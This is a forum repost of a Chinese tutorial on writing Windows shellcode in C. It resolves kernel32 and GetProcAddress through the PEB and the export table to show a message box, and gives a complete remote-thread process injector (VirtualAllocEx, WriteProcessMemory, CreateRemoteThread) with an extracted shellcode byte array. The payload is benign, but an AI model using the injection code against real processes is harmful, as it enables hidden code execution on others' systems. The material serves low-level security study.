1.8 运用C编写ShellCode代码

小秦哥  金牌会员 | 2023-7-13 09:13:21 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题
楼主

主题 891|帖子 891|积分 2673

在笔者前几篇文章中，我们使用汇编语言并通过自定位的方法实现了一个简单的MessageBox弹窗功能，但由于汇编语言过于繁琐在编写效率上不仅要考验开发者的底层功底，还需要写出更多的指令集，这对于普通人来说是非常困难的，当然除了通过汇编来实现ShellCode的编写以外，使用C同样可以实现编写，在多数情况下读者可以直接使用C开发，只有某些环境下对ShellCode条件有极为苛刻的长度限制时才会考虑使用汇编。
相较于汇编语言，使用C编写Shellcode可以更加方便、高效，特别是对于需要大量计算的操作。在编写Shellcode时，读者需要注意以下几点：

  • 1.使用纯C语言进行编写：在编写Shellcode时，需要避免使用C++标准库或其他外部依赖库，因为这些库往往会增加代码的长度和复杂度。
  • 2.关闭编译器优化：在编写Shellcode时，需要关闭编译器的优化功能，因为优化可能会改变代码的执行顺序，导致Shellcode无法正常工作。
  • 3.避免使用全局变量和静态变量：在Shellcode中，全局变量和静态变量往往会导致代码长度过长，并且这些变量的地址也可能与Shellcode中其他代码的地址产生冲突。
  • 4.使用裸指针和裸内存管理：为了减小Shellcode的长度和复杂度，需要使用裸指针和裸内存管理，这可以减少代码中不必要的辅助函数调用。
  • 5.不能使用全局变量，或者用static修饰的变量，在Shellcode中要自定义入口函数，所有的字符串都要用字符串数组的方式代替。
首先读者应自行新建一个开发项目，并将编译模式调整为Release模式，这是因为Debug模式下的代码在转换成汇编后首先都是一个JMP指令，然后再跳到我们的功能代码处，但JMP指令是地址相关的 ，所以在转换成ShellCode时就会出错。此外在读者新建项目文件时请最好使用*.c结尾而不要使用*.cpp结尾。
当读者新建文件以后，接下来请修改配置属性，将运行库修改为多线程(MT)并关闭安全检查机制，如下图所示；

接着在连接器部分，新增一个EntryMain入口点，默认的Main入口点显然时不能使用的，如下图所示；

与前几章中的内容原理一致，首先我们需要得到kernel32.dll模块的基址，这段代码我们依然采用汇编实现，这里需要注意__declspec(naked)的含义，该声明是微软编译器提供的一个扩展，它用于指示编译器不要为函数自动生成函数头和尾，并将函数转化为裸函数。这种函数不会自动生成函数前缀和后缀的代码，也不会创建任何本地变量或保护寄存器。
在使用__declspec(naked)声明的函数中，开发者需要自己手动管理堆栈和调用函数的传递参数，然后在函数体中使用汇编指令实现所需的功能。使用__declspec(naked)声明的函数可以有效地减小生成的代码大小，因为不需要在函数前后添加额外的代码，而且可以精确控制函数内部的代码。
注意：使用__declspec(naked)声明的函数需要开发者对汇编语言有一定的了解，否则容易出现错误。在使用时，需要非常小心，确保在函数内部正确地管理堆栈和传递参数，以确保函数能够正常工作。
  1. // ----------------------------------------------
  2. // 32位获取模块基址
  3. // ----------------------------------------------
  4. __declspec(naked) DWORD getKernel32()
  5. {
  6.     __asm
  7.     {
  8.         mov eax, fs: [30h]
  9.         mov eax, [eax + 0ch]
  10.         mov eax, [eax + 14h]
  11.         mov eax, [eax]
  12.         mov eax, [eax]
  13.         mov eax, [eax + 10h]
  14.         ret
  15.     }
  16. }
  18. // ----------------------------------------------
  19. // 64位获取模块基址
  20. // ----------------------------------------------
  21. /*
  22. .code
  23. getKernel32 proc
  24.     mov rax,gs:[60h]
  25.     mov rax,[rax+18h]
  26.     mov rax,[rax+30h]
  27.     mov rax,[rax]
  28.     mov rax,[rax]
  29.     mov rax,[rax+10h]
  30.     ret
  31. getKernel32 endp
  32. end
  33. */
复制代码
当我们能够拿到kernel32.dll的模块基址时，则接下来就是通过该基址得到Kernel32的模块导出表，并获取该导出表内的GetProcessAddress函数的基址，至于为什么需要这么做，在读者前面的文章中有详细的分析，这里就不再重复叙述。
  1. // ----------------------------------------------
  2. // 32位取函数地址
  3. // ----------------------------------------------
  4. FARPROC getProcAddress(HMODULE hModuleBase)
  5. {
  6.     PIMAGE_DOS_HEADER lpDosHeader = (PIMAGE_DOS_HEADER)hModuleBase;
  7.     PIMAGE_NT_HEADERS32 lpNtHeader = (PIMAGE_NT_HEADERS)((DWORD)hModuleBase + lpDosHeader->e_lfanew);
  8.     if (!lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size)
  9.     {
  10.         return NULL;
  11.     }
  12.     if (!lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress)
  13.     {
  14.         return NULL;
  15.     }
  17.     PIMAGE_EXPORT_DIRECTORY lpExports = (PIMAGE_EXPORT_DIRECTORY)((DWORD)hModuleBase + (DWORD)lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
  18.     PDWORD lpdwFunName = (PDWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfNames);
  19.     PWORD lpword = (PWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfNameOrdinals);
  20.     PDWORD lpdwFunAddr = (PDWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfFunctions);
  22.     DWORD dwLoop = 0;
  23.     FARPROC pRet = NULL;
  24.     for (; dwLoop <= lpExports->NumberOfNames - 1; dwLoop++)
  25.     {
  26.         char* pFunName = (char*)(lpdwFunName[dwLoop] + (DWORD)hModuleBase);
  28.         if (pFunName[0] == 'G' &&
  29.             pFunName[1] == 'e' &&
  30.             pFunName[2] == 't' &&
  31.             pFunName[3] == 'P' &&
  32.             pFunName[4] == 'r' &&
  33.             pFunName[5] == 'o' &&
  34.             pFunName[6] == 'c' &&
  35.             pFunName[7] == 'A' &&
  36.             pFunName[8] == 'd' &&
  37.             pFunName[9] == 'd' &&
  38.             pFunName[10] == 'r' &&
  39.             pFunName[11] == 'e' &&
  40.             pFunName[12] == 's' &&
  41.             pFunName[13] == 's')
  42.         {
  43.             pRet = (FARPROC)(lpdwFunAddr[lpword[dwLoop]] + (DWORD)hModuleBase);
  44.             break;
  45.         }
  46.     }
  47.     return pRet;
  48. }
  50. // ----------------------------------------------
  51. // 64位取函数地址
  52. // ----------------------------------------------
  53. /*
  54. FARPROC getProcAddress(HMODULE hModuleBase)
  55. {
  56.     PIMAGE_DOS_HEADER lpDosHeader = (PIMAGE_DOS_HEADER)hModuleBase;
  57.     PIMAGE_NT_HEADERS64 lpNtHeader = (PIMAGE_NT_HEADERS64)((ULONG64)hModuleBase + lpDosHeader->e_lfanew);
  58.     if (!lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size)
  59.     {
  60.         return NULL;
  61.     }
  62.     if (!lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress)
  63.     {
  64.         return NULL;
  65.     }
  66.     PIMAGE_EXPORT_DIRECTORY lpExports = (PIMAGE_EXPORT_DIRECTORY)((ULONG64)hModuleBase + (ULONG64)lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
  67.     PDWORD lpdwFunName = (PDWORD)((ULONG64)hModuleBase + (ULONG64)lpExports->AddressOfNames);
  68.     PWORD lpword = (PWORD)((ULONG64)hModuleBase + (ULONG64)lpExports->AddressOfNameOrdinals);
  69.     PDWORD  lpdwFunAddr = (PDWORD)((ULONG64)hModuleBase + (ULONG64)lpExports->AddressOfFunctions);
  71.     DWORD dwLoop = 0;
  72.     FARPROC pRet = NULL;
  73.     for (; dwLoop <= lpExports->NumberOfNames - 1; dwLoop++)
  74.     {
  75.         char* pFunName = (char*)(lpdwFunName[dwLoop] + (ULONG64)hModuleBase);
  77.         if (pFunName[0] == 'G' &&
  78.             pFunName[1] == 'e' &&
  79.             pFunName[2] == 't' &&
  80.             pFunName[3] == 'P' &&
  81.             pFunName[4] == 'r' &&
  82.             pFunName[5] == 'o' &&
  83.             pFunName[6] == 'c' &&
  84.             pFunName[7] == 'A' &&
  85.             pFunName[8] == 'd' &&
  86.             pFunName[9] == 'd' &&
  87.             pFunName[10] == 'r' &&
  88.             pFunName[11] == 'e' &&
  89.             pFunName[12] == 's' &&
  90.             pFunName[13] == 's')
  91.         {
  92.             pRet = (FARPROC)(lpdwFunAddr[lpword[dwLoop]] + (ULONG64)hModuleBase);
  93.             break;
  94.         }
  95.     }
  96.     return pRet;
  97. }
  98. */
复制代码
接着我们需要编写主代码逻辑，主代码逻辑中使用GetProcAddress和LoadLibraryW来加载user32.dll并调用其中的MessageBoxW函数弹出一个消息框的示例。
下面是代码的详细实现流程：

  • 1.定义函数指针类型FN_GetProcAddress，用于存储GetProcAddress函数的地址，该函数用于在加载的DLL中查找导出函数的地址。
  • 2.通过getProcAddress函数获取kernel32.dll中的GetProcAddress函数地址，并将其转换为FN_GetProcAddress类型的函数指针fn_GetProcAddress。
  • 3.定义函数指针类型FN_LoadLibraryW，用于存储LoadLibraryW函数的地址，该函数用于加载指定的DLL文件。
  • 4.定义名为xyLoadLibraryW的字符数组，存储字符串"LoadLibraryW"。
  • 5.使用fn_GetProcAddress函数指针获取kernel32.dll中的LoadLibraryW函数的地址，并将其转换为FN_LoadLibraryW类型的函数指针fn_LoadLibraryW。
  • 6.定义函数指针类型FN_MessageBoxW，用于存储MessageBoxW函数的地址，该函数用于弹出消息框。
  • 7.定义名为xy_MessageBoxW的字符数组，存储字符串"MessageBoxW"。
  • 8.定义名为xy_user32的字符数组，存储字符串"user32.dll"。
  • 9.使用fn_LoadLibraryW函数指针加载user32.dll，并使用fn_GetProcAddress函数指针获取其中的MessageBoxW函数地址，并将其转换为FN_MessageBoxW类型的函数指针fn_MessageBoxW。
  • 10.定义名为MsgBox和Title的wchar_t数组，用于存储消息框的文本内容和标题。
  • 11.使用fn_MessageBoxW函数指针弹出一个消息框，显示MsgBox中的文本内容，并使用Title中的文本作为标题。
  1. #include <Windows.h>
  3. FARPROC getProcAddress(HMODULE hModuleBase);
  4. DWORD getKernel32();
  5. // extern "C" PVOID64  getKernel32();
  7. // ----------------------------------------------
  8. // 32位主函数
  9. // ----------------------------------------------
  10. int EntryMain()
  11. {
  12.     // 定义指针，用于存储GetProcAddress入口地址
  13.     typedef FARPROC(WINAPI* FN_GetProcAddress)(
  14.         _In_ HMODULE hModule,
  15.         _In_ LPCSTR lpProcName
  16.         );
  18.     FN_GetProcAddress fn_GetProcAddress = (FN_GetProcAddress)getProcAddress((HMODULE)getKernel32());
  20.     // 定义指针，用于存储LoadLibraryW入口地址
  21.     typedef HMODULE(WINAPI* FN_LoadLibraryW)(
  22.         _In_ LPCWSTR lpLibFileName
  23.         );
  24.     char xyLoadLibraryW[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'W', 0 };
  25.     FN_LoadLibraryW fn_LoadLibraryW = (FN_LoadLibraryW)fn_GetProcAddress((HMODULE)getKernel32(), xyLoadLibraryW);
  27.     // 定义指针，用于存储MessageBoxW入口地址
  28.     typedef int (WINAPI* FN_MessageBoxW)(
  29.         _In_opt_ HWND hWnd,
  30.         _In_opt_ LPCWSTR lpText,
  31.         _In_opt_ LPCWSTR lpCaption,
  32.         _In_ UINT uType);
  33.     wchar_t xy_user32[] = { 'u', 's', 'e', 'r', '3', '2', '.', 'd', 'l', 'l', 0 };
  34.     char xy_MessageBoxW[] = { 'M', 'e', 's', 's', 'a', 'g', 'e', 'B', 'o', 'x', 'W', 0 };
  35.     FN_MessageBoxW fn_MessageBoxW = (FN_MessageBoxW)fn_GetProcAddress(fn_LoadLibraryW(xy_user32), xy_MessageBoxW);
  37.     // 此处用于设置MessageBoxW弹窗的文本内容
  38.     wchar_t MsgBox[] = { 'H', 'e', 'l', 'l', 'o', 'L', 'y', 'S', 'h','a','r','k', 0 };
  39.     wchar_t Title[] = { 'T', 'E', 'S', 'T', 0 };
  40.     fn_MessageBoxW(NULL, MsgBox, Title, NULL);
  42.     return 0;
  43. }
  45. // ----------------------------------------------
  46. // 64位主函数
  47. // ----------------------------------------------
  48. /*
  49. int EntryMain()
  50. {
  51.     typedef FARPROC(WINAPI* FN_GetProcAddress)(
  52.         _In_ HMODULE hModule,
  53.         _In_ LPCSTR lpProcName
  54.         );
  55.     FN_GetProcAddress fn_GetProcAddress = (FN_GetProcAddress)getProcAddress((HMODULE)getKernel32());
  57.     typedef HMODULE(WINAPI* FN_LoadLibraryW)(
  58.         _In_ LPCWSTR lpLibFileName
  59.         );
  60.     char xyLoadLibraryW[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'W', 0 };
  61.     FN_LoadLibraryW fn_LoadLibraryW = (FN_LoadLibraryW)fn_GetProcAddress((HMODULE)getKernel32(), xyLoadLibraryW);
  63.     typedef int (WINAPI* FN_MessageBoxW)(
  64.         _In_opt_ HWND hWnd,
  65.         _In_opt_ LPCWSTR lpText,
  66.         _In_opt_ LPCWSTR lpCaption,
  67.         _In_ UINT uType);
  68.     wchar_t xy_user32[] = { 'u', 's', 'e', 'r', '3', '2', '.', 'd', 'l', 'l', 0 };
  69.     char xy_MessageBoxW[] = { 'M', 'e', 's', 's', 'a', 'g', 'e', 'B', 'o', 'x', 'W', 0 };
  70.     FN_MessageBoxW fn_MessageBoxW = (FN_MessageBoxW)fn_GetProcAddress(fn_LoadLibraryW(xy_user32), xy_MessageBoxW);
  72.     wchar_t xy_Hello[] = { 'H', 'e', 'l', 'l', 'o', 'L', 'y', 'S', 'h', 'a', 'r', 'k', 0 };
  73.     wchar_t xy_tip[] = { 'T', 'E', 'S', 'T', 0 };
  74.     fn_MessageBoxW(NULL, xy_Hello, xy_tip, NULL);
  76.     return 0;
  77. }
  78. */
复制代码
至此读者需要手动编译上述代码，当编译通过之后，请打开WinHex工具，并定位到ShellCode的开头位置，如下图所示则是我们需要提取的指令集；

选中这片区域，并右键点击编辑按钮，找到复制，C源码格式，此时读者即可得到一个完整的源代码格式；

至此读者只需要一个注入器用于测试代码的完善性，此处是简单实现的一个注入器，代码中shellcode是我们上图中提取出来的片段，读者需要修改targetPid为任意一个32位应用程序，并运行注入即可；
  1. #include <windows.h>
  2. #include <iostream>
  4. using namespace std;
  6. unsigned char shellcode[450] =
  7. {
  8.     0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x5C, 0x53, 0x56, 0x57, 0xE8, 0xD2, 0x00, 0x00, 0x00, 0x8B, 0xC8,
  9.     0xE8, 0xEB, 0x00, 0x00, 0x00, 0x8B, 0xF0, 0xC7, 0x45, 0xD8, 0x4C, 0x6F, 0x61, 0x64, 0x8D, 0x45,
  10.     0xD8, 0xC7, 0x45, 0xDC, 0x4C, 0x69, 0x62, 0x72, 0x50, 0xC7, 0x45, 0xE0, 0x61, 0x72, 0x79, 0x57,
  11.     0xC6, 0x45, 0xE4, 0x00, 0xE8, 0xA7, 0x00, 0x00, 0x00, 0x50, 0xFF, 0xD6, 0x33, 0xC9, 0xC7, 0x45,
  12.     0xC0, 0x75, 0x00, 0x73, 0x00, 0x66, 0x89, 0x4D, 0xD4, 0x8D, 0x4D, 0xE8, 0x51, 0x8D, 0x4D, 0xC0,
  13.     0x5D, 0xC3
  14. };
  16. int main(int argc, char *argv[])
  17. {
  18.     DWORD targetPid = 2816;
  20.     HANDLE h_target = NULL;
  21.     LPVOID p_base = NULL;
  22.     HANDLE h_thread = NULL;
  24.     h_target = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPid);
  25.     if (h_target == NULL)
  26.     {
  27.         goto main_end;
  28.     }
  30.     p_base = VirtualAllocEx(h_target, NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  31.     if (p_base == NULL)
  32.     {
  34.         goto main_end;
  35.     }
  37.     if (!WriteProcessMemory(h_target, p_base, (LPVOID)shellcode, sizeof(shellcode), NULL)) {
  38.         goto main_end;
  39.     }
  41.     h_thread = CreateRemoteThread(h_target, 0, 0, (LPTHREAD_START_ROUTINE)p_base, NULL, 0, NULL);
  42.     if (h_thread == NULL)
  43.     {
  44.         goto main_end;
  45.     }
  47. main_end:
  48.     if (h_target)
  49.         CloseHandle(h_target);
  50.     if (h_thread)
  51.         CloseHandle(h_thread);
  52.     getchar();
  53.     return 0;
  54. }
复制代码
如果一切顺利，则读者可看到这段ShellCode已经在特定进程内实现运行了，并输出了如下图所示的弹窗提示；

原文地址

https://www.lyshark.com/post/9cc4ded5.html

免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！

本帖子中包含更多资源

您需要 登录 才可以下载或查看，没有账号？立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览
返回列表

快速回复

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

小秦哥

金牌会员
这个人很懒什么都没写!

楼主热帖

标签云

存储 服务器
微信订阅号
微信服务号
微信客服
小程序
H5
关于我们 商务合作 网站地图
©Copyright 2022-2024 杭州祥升科技有限公司 版权所有 浙ICP备20004199号
快速回复 返回顶部 返回列表